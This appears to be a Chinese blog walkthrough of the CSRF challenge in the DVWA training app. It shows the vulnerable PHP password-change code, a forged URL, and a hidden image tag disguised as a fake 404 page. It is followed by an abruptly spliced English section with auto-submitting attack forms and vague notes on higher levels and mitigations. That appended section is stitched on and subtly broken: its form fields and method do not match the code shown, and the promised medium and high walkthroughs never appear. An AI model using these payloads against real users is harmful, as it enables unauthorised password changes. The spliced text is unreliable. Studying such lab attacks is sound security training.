DVWA之CSRF攻击(Low&medium&High)

CSRF,全称Cross-site request forgery,翻译过来就是跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。CSRF与XSS最大的区别就在于,CSRF并没有盗取cookie而是直接利用。在2013年发布的新版OWASP Top 10中,CSRF排名第8。

1.先看下在low级别下的源代码


<?php 

if( isset( $_GET[ 'Change' ] ) ) { 
    // Get input 
    $pass_new  = $_GET[ 'password_new' ]; 
    $pass_conf = $_GET[ 'password_conf' ]; 

    // Do the passwords match? 
    if( $pass_new == $pass_conf ) { 
        // They do! 
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); 
        $pass_new = md5( $pass_new ); 

        // Update the database 
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; 
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the user 
        echo "<pre>Password Changed.</pre>"; 
    } 
    else { 
        // Issue with passwords matching 
        echo "<pre>Passwords did not match.</pre>"; 
    } 

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); 
} 

?> 

2.分析如上代码,发现在服务器端并没有做CSRF防御,我们只需要构造一个访问修改密码的URL链接,将参数拼接后,发送给被攻击者,引诱其点击即可,

例如:http://169.254.36.73/DVWA-master/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change#

但是,这种方式太过明显,稍微有点意识的人一眼就能识破。所以我们需要伪装一下,构造一个html文件,将其隐藏起来。

<img src="http://169.254.36.73/DVWA-master/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change" border="0" style="display:none;"/>
 
<h1>404 ERROR !<h1>
 
<h2>Files Not Found.<h2>
### DVWA CSRF Vulnerability Walkthrough and Explanation #### Understanding CSRF in DVWA Cross-Site Request Forgery (CSRF) is a type of attack that tricks the victim into submitting a malicious request. It forces an end user to execute unwanted actions on a web application in which they are authenticated[^1]. In DVWA, this vulnerability can be explored at different difficulty levels including Low, Medium, High, and Impossible. For the **Low level**, no token or any form of validation exists. An attacker could craft a simple HTML page with hidden fields mimicking the target's POST data structure: ```html <form action="http://192.168.112.188/dvwa/vulnerabilities/csrf/" method="POST"> <input type="hidden" name="password_new" value="hacked"/> <input type="hidden" name="password_confirm" value="hacked"/> <input type="submit" value="Change Password"/> </form> <script>document.forms[0].submit();</script> ``` At the **Medium level**, although there might not be strict anti-CSRF tokens implemented, other defenses such as checking HTTP referer headers may apply. However, these checks often prove insufficient against sophisticated attacks because attackers can manipulate browser behavior through various means like embedding images pointing to internal URLs within external pages[^2]. In more advanced scenarios—like those found under 'High' settings—the presence of unique per-session tokens makes exploitation significantly harder but still possible via techniques involving session fixation or exploiting XSS flaws elsewhere on the site. The ultimate goal when configuring security measures should always aim towards achieving what DVWA terms "Impossible". Here, comprehensive protections prevent successful forgery attempts by ensuring each legitimate operation includes unpredictable values tied directly back to individual sessions. #### Demonstrating Exploitation Process To demonstrate how one exploits CSRF vulnerabilities present in lower difficulties using DVWA: - Create an HTML file named `change_password.html` containing crafted forms targeting password change functionality. ```html <!-- Example for low-level CSRF --> <!DOCTYPE html> <html lang="en"> <head><title>Exploit Page</title></head> <body onload='document.getElementById("csrf").submit()'> <form id="csrf" action="http://target-ip-address/dvwa/vulnerabilities/csrf/" method="POST"> <input type="text" name="password_new" value="newpass"/> <input type="text" name="password_confirm" value="newpass"/> <input type="submit" name="Change" /> </form> </body> </html> ``` Upon loading this exploit page while logged into DVWA, it automatically submits the form changing your account’s credentials without explicit consent from you. #### Mitigation Strategies Against CSRF Attacks Implementing robust countermeasures involves several best practices: - Utilizing synchronized cookie patterns where requests must include both cookies and matching parameters sent along with them. - Generating cryptographically secure random numbers used once per transaction known as synchronizer tokens stored server-side during login then validated upon submission. - Employing double submit cookies strategy wherein clients send two copies of their session identifier – one inside standard Cookie header another explicitly included among submitted variables. --related questions-- 1. What specific mechanisms does DVWA implement across its varying CSRF challenge complexities? 2. How do modern frameworks address potential CSRF threats beyond traditional methods discussed here? 3. Can machine learning algorithms enhance detection rates for novel types of cross-site scripting attacks related to CSRF? 4. Are there real-world examples demonstrating effective bypasses around contemporary anti-CSRF implementations?
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值